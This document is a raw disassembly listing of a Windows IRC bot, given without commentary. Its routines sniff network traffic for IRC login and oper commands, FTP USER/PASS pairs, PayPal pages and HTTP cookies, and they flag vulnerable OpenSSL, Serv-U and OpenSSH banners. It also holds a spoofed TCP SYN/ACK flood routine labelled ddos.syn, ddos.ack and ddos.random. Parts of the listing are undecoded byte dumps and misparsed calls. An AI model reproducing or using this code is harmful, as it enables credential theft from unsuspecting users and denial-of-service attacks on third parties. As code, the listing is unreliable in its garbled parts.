sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412F0C loc_412F08: ; CODE XREF: sub_412EAA+71j ; sub_412EAA+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F0C: ; CODE XREF: sub_412EAA+5Cj push offset a302_0 ; "302 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a366 ; "366 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_login_0 ; ":.login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset aLogin_1 ; ":!login" push esi call sub_41C080 pop ecx test eax, eax pop ecx loc_412F4E: ; DATA XREF: ___:off_43A508o jnz short loc_412F08 push offset aLogin_0 ; ":!Login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_login ; ":.Login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_ident ; ":.ident" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset aIdent_0 ; ":!ident" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz loc_412F08 push offset a_hashin ; ":.hashin" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz loc_412F08 push offset aHashin ; ":!hashin" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EAA endp ; =============== S U B R O U T I N E ======================================= sub_412FC1 proc near ; CODE XREF: sub_4131AA+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412FDB loc_412FD7: ; CODE XREF: sub_412FC1+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412FDB: ; CODE XREF: sub_412FC1+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FD7 push offset aOper_0 ; "OPER " push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413001 loc_412FFD: ; CODE XREF: sub_412FC1+4Fj ; sub_412FC1+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413001: ; CODE XREF: sub_412FC1+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FFD push offset aOper ; "oper " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FFD push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412FC1 endp ; =============== S U B R O U T I N E ======================================= sub_413037 proc near ; CODE XREF: sub_4131AA+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413051 loc_41304D: ; CODE XREF: sub_413037+29j ; sub_413037+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413051: ; CODE XREF: sub_413037+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41304D push offset aNick_1 ; "NICK " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41304D push offset a220 ; "220 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413088 loc_413084: ; CODE XREF: sub_413037+60j ; sub_413037+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_413037+4Bj push offset a230 ; "230 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413084 push offset aUser_3 ; "USER " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413084 push offset aPass_1 ; "PASS " push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413037 endp ; =============== S U B R O U T I N E ======================================= sub_4130BE proc near ; CODE XREF: sub_4131AA+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4130D8 loc_4130D4: ; CODE XREF: sub_4130BE+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4130D8: ; CODE XREF: sub_4130BE+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130D4 push offset aPaypal ; "paypal" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4130FE loc_4130FA: ; CODE XREF: sub_4130BE+4Fj ; sub_4130BE+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130FE: ; CODE XREF: sub_4130BE+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aPaypal_com ; "paypal.com" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4130BE endp ; =============== S U B R O U T I N E ======================================= sub_413145 proc near ; CODE XREF: sub_4131AA:loc_41356Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_41315F loc_41315B: ; CODE XREF: sub_413145+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41315F: ; CODE XREF: sub_413145+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41315B push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413185 loc_413181: ; CODE XREF: sub_413145+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413185: ; CODE XREF: sub_413145+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413181 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131AA proc near ; DATA XREF: sub_401AC7+429Eo var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C2A0 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4C9318 lea eax, [ebp+var_3B8] push eax call dword_4C9388 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CAB0 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413250 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413250: ; CODE XREF: sub_4131AA+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4C9330 cmp eax, 0FFFFFFFFh jnz short loc_4132C6 call dword_4C9298 push eax lea eax, [ebp+var_2B8] push offset unk_437098 push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132A2 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h loc_4132A2: ; CODE XREF: sub_4131AA+D6j lea eax, [ebp+var_2B8] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_34] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_4132C6: ; CODE XREF: sub_4131AA+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4C92B0 cmp eax, 0FFFFFFFFh jnz short loc_41334C call dword_4C9298 push eax lea eax, [ebp+var_2B8] push offset unk_437068 push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_413328 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h loc_413328: ; CODE XREF: sub_4131AA+15Cj lea eax, [ebp+var_2B8] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_34] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_41334C: ; CODE XREF: sub_4131AA+13Cj mov esi, 200h loc_413351: ; CODE XREF: sub_4131AA+1D6j ; sub_4131AA+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4C931C cmp [ebp+var_113AF], 6 jnz short loc_413351 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413351 cmp [ebp+arg_0], 19h jz short loc_413351 cmp edi, 6Eh jz short loc_413351 cmp edi, 19h jz short loc_413351 push [ebp+var_113AC] call sub_412E9B pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C006 push [ebp+var_113A8] call sub_412E9B add esp, 10h push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C006 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B960 add esp, 10h test eax, eax jle short loc_41344F loc_41341B: ; CODE XREF: sub_4131AA+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413432 mov byte ptr [eax], 20h loc_413432: ; CODE XREF: sub_4131AA+283j cmp byte ptr [eax], 0Ah jnz short loc_41343A mov byte ptr [eax], 20h loc_41343A: ; CODE XREF: sub_4131AA+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B960 cmp [ebp+var_4], eax pop ecx jl short loc_41341B loc_41344F: ; CODE XREF: sub_4131AA+26Fj cmp [ebp+arg_0], 50h jz loc_413502 cmp edi, 50h jz loc_413502 lea eax, [ebp+var_1138C] push eax call sub_412EAA test al, al pop ecx jz short loc_413496 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437034 jmp loc_413531 ; --------------------------------------------------------------------------- loc_413496: ; CODE XREF: sub_4131AA+2C7j cmp edi, 50h jz short loc_413502 lea eax, [ebp+var_1138C] push eax call sub_412FC1 test al, al pop ecx jz short loc_4134CC lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437000 jmp short loc_413531 ; --------------------------------------------------------------------------- loc_4134CC: ; CODE XREF: sub_4131AA+300j cmp edi, 50h jz short loc_413502 lea eax, [ebp+var_1138C] push eax call sub_413037 test al, al pop ecx jz short loc_413502 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436FCC jmp short loc_413531 ; --------------------------------------------------------------------------- loc_413502: ; CODE XREF: sub_4131AA+2A9j ; sub_4131AA+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_4130BE test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_41356F lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_436F94 loc_413531: ; CODE XREF: sub_4131AA+2E7j ; sub_4131AA+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C100 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413351 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h jmp loc_413351 ; --------------------------------------------------------------------------- loc_41356F: ; CODE XREF: sub_4131AA+36Ej call sub_413145 test al, al pop ecx jz loc_413351 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436F5C jmp short loc_413531 sub_4131AA endp ; --------------------------------------------------------------------------- byte_41359D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+64A2o dd 494EC81h, 458B0000h, 0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch dd 80C7A5F3h, 290h, 1, 0D15FE890h, 0E8500228h, 8A88h, 0FE74858Dh dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 4370C468h dd 3E85000h, 3300008Ah, 20C483F6h, 75F87539h, 858D5620h dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h dd 6238E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh, 26B5E8h dd 70B5FF00h, 0E8FFFFFDh, 0FFFF8085h, 0E8565959h, 22DC9B4h db 90h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41364F proc near ; CODE XREF: ___:004139C6p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4C9274 test eax, eax jz short loc_41368F xor eax, eax jmp loc_413982 ; --------------------------------------------------------------------------- loc_41368F: ; CODE XREF: sub_41364F+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4C93A8 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_41397A push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4C92E4 cmp eax, 0FFFFFFFFh jz loc_413970 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4C9304 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4C9304 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4C9304 mov [ebp+var_12], ax call sub_41C062 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4C9304 push 12345678h mov [ebp+var_14], ax call dword_4C9300 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41375F mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_41375F: ; CODE XREF: sub_41364F+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41377B mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_41377B: ; CODE XREF: sub_41364F+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4137B3 call sub_41C062 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C062 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137B3: ; CODE XREF: sub_41364F+10Ej ; sub_41364F+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4C9304 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27A0486h lea eax, [ebp+var_1C] push eax nop call near ptr 27A018Bh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DA20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413801: ; CODE XREF: sub_41364F+2E2j ; sub_41364F+2F0j mov [ebp+var_4], bx call sub_41C062 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4C9304 mov [ebp+var_14], ax call sub_41C062 mov edi, eax shl edi, 10h call sub_41C062 or edi, eax push edi call dword_4C9304 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4C9300 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4C9304 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CAB0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA53 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CAB0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD10 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA53 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4C9368 cmp eax, 0FFFFFFFFh jz short loc_413944 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27A018Bh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_41396D jl loc_413801 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_41396D jmp loc_413801 ; --------------------------------------------------------------------------- loc_413944: ; CODE XREF: sub_41364F+2CBj call dword_4C9298 push eax lea eax, [ebp+var_F4] push offset dword_4370EC push eax call sub_41C006 lea eax, [ebp+var_F4] push eax call sub_415CEE add esp, 10h jmp short loc_413970 ; --------------------------------------------------------------------------- loc_41396D: ; CODE XREF: sub_41364F+2E0j ; sub_41364F+2EEj mov ebx, [ebp+arg_8] loc_413970: ; CODE XREF: sub_41364F+78j ; sub_41364F+31Cj push [ebp+var_20] call dword_4C939C pop esi loc_41397A: ; CODE XREF: sub_41364F+5Bj call dword_4C925C mov eax, ebx loc_413982: ; CODE XREF: sub_41364F+3Bj pop edi pop ebx leave retn sub_41364F endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov esi, eax call sub_41BEF9 push dword ptr [esp+24h] mov ebx, eax call sub_41BEF9 mov edi, eax call sub_41C062 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_41364F add esp, 20h test eax, eax jnz short loc_4139D5 push 1 pop eax loc_4139D5: ; CODE XREF: ___:004139D0j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4139E4 dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h ; DATA XREF: sub_401AC7+667Bo dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h dd 19C9889h, 15FF0000h, 4C9384h, 89FFF883h, 5F75FC45h dd 929815FFh, 8D50004Ch, 0FFFC4485h, 71EC68FFh, 0E8500043h dd 85CEh, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3E8FFFFh dd 83FFFF5Eh, 858D14C4h, 0FFFFFC44h, 2280E850h, 75FF0000h dd 7C53E8C8h, 5959FFFFh, 81E89057h, 8D022DC5h, 46AF44Dh dd 6AFF3351h, 89505702h, 15FFF45Dh, 4C92E4h, 75FFF883h dd 9815FF5Dh, 50004C92h, 0FC44858Dh, 0BC68FFFFh, 50004371h dd 8555E8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5D8CE8FFh dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h dd 0FF7BDCE8h, 575959FFh, 2DC50BE8h, 858D9002h, 0FFFFFE48h dd 4415FF50h, 83004C93h, 5575FFF8h, 0FC44858Dh, 9C68FFFFh dd 50004371h, 84EDE8h, 0DC7D3900h, 20755959h, 44858D57h dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h dd 0FF5D25E8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h dd 0E8C875FFh, 0FFFF7B75h, 90575959h, 2DC4A3E8h, 8D106A02h dd 5057E445h, 81A7E8h, 0CC48300h, 0E445C766h, 0FF570002h dd 4C930415h, 45896600h, 48858DE6h, 50FFFFFEh, 934415FFh dd 358B004Ch, 4270B8h, 89E84589h, 0D6FF087Dh, 0FFF84589h dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh dd 1C680000h, 0C6000004h, 4CC08005h, 15FF4500h, 4C9304h dd 66D47D39h, 4CC082A3h, 1D896600h, 4CC084h, 863D8966h dd 0C6004CC0h, 4CC08805h, 1D888000h, 4CC089h, 8A3D8966h dd 74004CC0h, 846CE830h, 0D88B0000h, 0E808E3C1h, 8462h dd 0E3C1D803h, 8458E808h, 0D8030000h, 0E808E3C1h, 844Eh dd 16AD803h, 0C08C1D89h, 0EB5B004Ch, 44B5FF18h, 0E8FFFFFEh dd 0FFFF6DCEh, 15FF5059h, 4C9344h, 4CC08CA3h, 0E8458B00h dd 4CC090A3h, 841CE800h, 0B9990000h, 100h, 1588F9F7h, 4CC094h dd 8409E8h, 0B99900h, 0F7000001h, 951588F9h, 0E8004CC0h dd 83F6h, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4CC096h dd 9A1D8966h, 42004CC0h, 98158966h, 0E8004CC0h, 83CEh dd 0FFB999h, 0F9F70000h, 0C09C6852h, 69E8004Ch, 83000080h dd 458D0CC4h, 50106AE4h, 41C6857h, 80680000h, 0FF004CC0h dd 15FFFC75h, 4C9368h, 74FFF883h, 845FF08h, 0FFFECAE9h dd 0FC75FFFFh, 939C15FFh, 15FF004Ch, 4C9298h, 48858D50h dd 0FFFFFFFEh, 68500875h, 437154h, 0FC44858Dh, 68FFFFh dd 50000002h, 83FFE8h, 18C48300h, 75DC7D39h, 858D5720h dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h dd 5B3CE8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh, 1FB9E8h dd 0C875FF00h, 0FF798CE8h, 575959FFh, 0C2BAE890h, 75FF022Dh dd 9C15FFFCh, 8B004C93h, 0D2330845h, 8B3CC06Bh, 0AE8C1C8h dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 437108h, 8280E850h dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0B7E8FFFFh, 83FFFF5Ah dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h, 7907E8C8h dd 5959FFFFh, 35E89057h ; --------------------------------------------------------------------------- retn 22Dh ; --------------------------------------------------------------------------- byte_413DCB db 55h ; DATA XREF: sub_401AC7+547Do dd 20B8EC8Bh, 0E8000103h, 84C8h, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h dd 928C15FFh, 4589004Ch, 40858D08h, 50FFFFFFh, 934415FFh dd 0F08B004Ch, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh dd 938815FFh, 0C33B004Ch, 7D830674h, 5D75FF08h, 0FF40858Dh dd 8D50FFFFh, 0FFFCBC85h, 724468FFh, 0E8500043h, 81C2h dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF59F9E8h, 14C483FFh dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF7849h dd 0E8575959h, 22DC178h, 74C33B90h, 0C408B0Ch, 8B008Bh dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 7E68h dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h dd 1C15FF08h, 46004C92h, 7CC0753Bh, 875FFDAh, 93BC15FFh dd 858D004Ch, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 437218h dd 80F4E850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 2BE8FFFFh dd 83FFFF59h, 858D14C4h, 0FFFFFCBCh, 1DA8E850h, 75FF0000h dd 777BE8D0h, 5959FFFFh, 0A9E89053h db 0C0h, 2Dh, 2 byte_413F57 db 55h ; DATA XREF: sub_401AC7+56C6o dd 10B8EC8Bh, 0E8000103h, 833Ch, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h dd 28C7A4E8h, 0E8509002h, 80CCh, 6A116A59h, 0FF026A02h dd 4C938415h, 33D88B00h, 8D106AFFh, 5057F045h, 7D67E8h dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 4415FF50h dd 83004C93h, 4589FFF8h, 8D757508h, 0FFFF5085h, 15FF50FFh dd 4C9388h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h dd 729868FFh, 0E8500043h, 8016h, 390CC483h, 2075E87Dh dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh dd 0FFFFFECCh, 0FF584DE8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh dd 1CCAh, 0E8E075FFh, 0FFFF769Dh, 0E8565959h, 22DBFCCh dd 0C408B90h, 3EB008Bh, 8B08458Dh, 0DC7D3900h, 75F44589h dd 8014E811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh dd 415FFDCh, 39004C93h, 8966DC75h, 37DF245h, 0B8DC7589h dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 